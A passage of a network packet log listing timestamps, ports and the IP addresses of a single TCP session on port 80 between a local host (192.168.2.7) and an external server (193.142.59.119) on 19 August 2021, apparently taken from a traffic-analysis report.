Aug 19, 2021 07:53:39.660048962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660052061 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660063982 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660065889 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660079956 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660096884 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660099030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660115957 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660131931 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660147905 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660147905 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660162926 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660177946 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660180092 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660193920 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660209894 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660228014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660229921 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660244942 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660262108 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660264015 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660278082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660298109 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660300970 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660315990 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660319090 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660332918 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660347939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660360098 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660366058 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660368919 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660372972 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660382986 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660389900 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660394907 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660412073 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660428047 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660437107 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660439968 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660454988 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660469055 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660475016 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660491943 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660507917 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660522938 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660523891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660538912 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660554886 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660571098 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660582066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660598993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660602093 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660614014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660629988 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660640955 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660641909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660656929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660672903 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660672903 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660689116 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660690069 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660705090 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660706997 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660722017 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660736084 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660738945 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660754919 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660758018 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660773993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660789013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660792112 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660809040 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.660809994 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.660830975 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.661031961 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.689296961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.689332962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.689357996 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.689379930 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.689387083 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.689404011 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.689426899 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.689448118 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.689450026 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.689500093 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.692410946 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692452908 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692481995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692508936 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692536116 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692539930 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.692564011 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692573071 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.692589998 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692617893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692636013 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.692642927 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692670107 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.692675114 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692703962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692727089 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.692732096 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692760944 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692789078 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692789078 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.692816973 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692843914 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692868948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692869902 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.692900896 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692923069 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.692929029 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692954063 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.692955017 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.692982912 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693007946 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693010092 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693037033 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693059921 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693063021 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693089008 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693120003 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693141937 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693149090 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693176985 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693203926 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693205118 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693232059 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693243980 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693259954 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693286896 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693288088 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693315029 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693346977 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693351030 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693376064 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693401098 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693403959 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693430901 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693459034 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693483114 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693486929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693511009 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693537951 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693542004 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693571091 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693574905 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693599939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693624020 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693627119 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693655014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693677902 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693681955 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693710089 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693737984 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693761110 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693770885 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693798065 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693825960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693854094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693886995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693917036 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693919897 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693928003 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693945885 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693954945 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.693974972 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.693979025 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694004059 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694031000 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694031954 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694060087 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694088936 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694099903 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694122076 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694133043 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694153070 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694180965 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694209099 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694226980 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694236994 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694264889 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694292068 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694293022 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694319963 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694324017 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694360018 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694387913 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694396973 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694426060 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694453955 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694480896 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694480896 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694509029 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694535971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694539070 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694562912 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694571972 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694591999 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694623947 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694633007 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694653034 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694679022 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694679022 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694708109 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694735050 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694761992 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694763899 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694789886 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694817066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694819927 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694848061 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694856882 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694878101 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694901943 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694904089 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694932938 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694958925 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.694961071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.694987059 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695013046 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695014000 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695040941 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695071936 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695081949 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695101023 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695108891 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695146084 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695148945 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695175886 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695190907 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695204020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695230961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695245028 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695257902 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695286036 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695297003 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695312023 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695343971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695350885 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695383072 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695409060 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695419073 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695440054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695470095 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695487022 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695496082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695523977 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695535898 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695550919 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695578098 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695605040 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695605993 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695632935 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695660114 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695666075 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695696115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695710897 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695722103 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695749998 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695772886 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695779085 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695806026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695822001 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695833921 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695862055 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695875883 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695894003 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695924044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695940971 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.695950031 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695976019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.695997000 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.696002007 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.696027040 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.696052074 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.696054935 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.696082115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.696104050 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.709803104 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.720541000 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.720576048 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.720637083 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.720732927 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.720757008 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.720781088 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.720801115 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.720807076 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.720829964 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.720838070 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.720850945 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.720873117 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.720876932 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.720895052 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.720917940 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.720932007 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.720938921 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.720958948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.720969915 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.720983982 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721004963 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721007109 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721026897 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721046925 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721067905 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721075058 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721093893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721107006 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721117020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721134901 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721138000 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721158981 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721179008 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721189976 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721198082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721215963 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721219063 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721240044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721262932 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721280098 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721283913 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721304893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721316099 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721326113 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721349955 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721357107 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721373081 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721395969 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721396923 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721419096 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721445084 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721451998 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721467018 CEST	80	49738	193.142.59.119	192.168.2.7
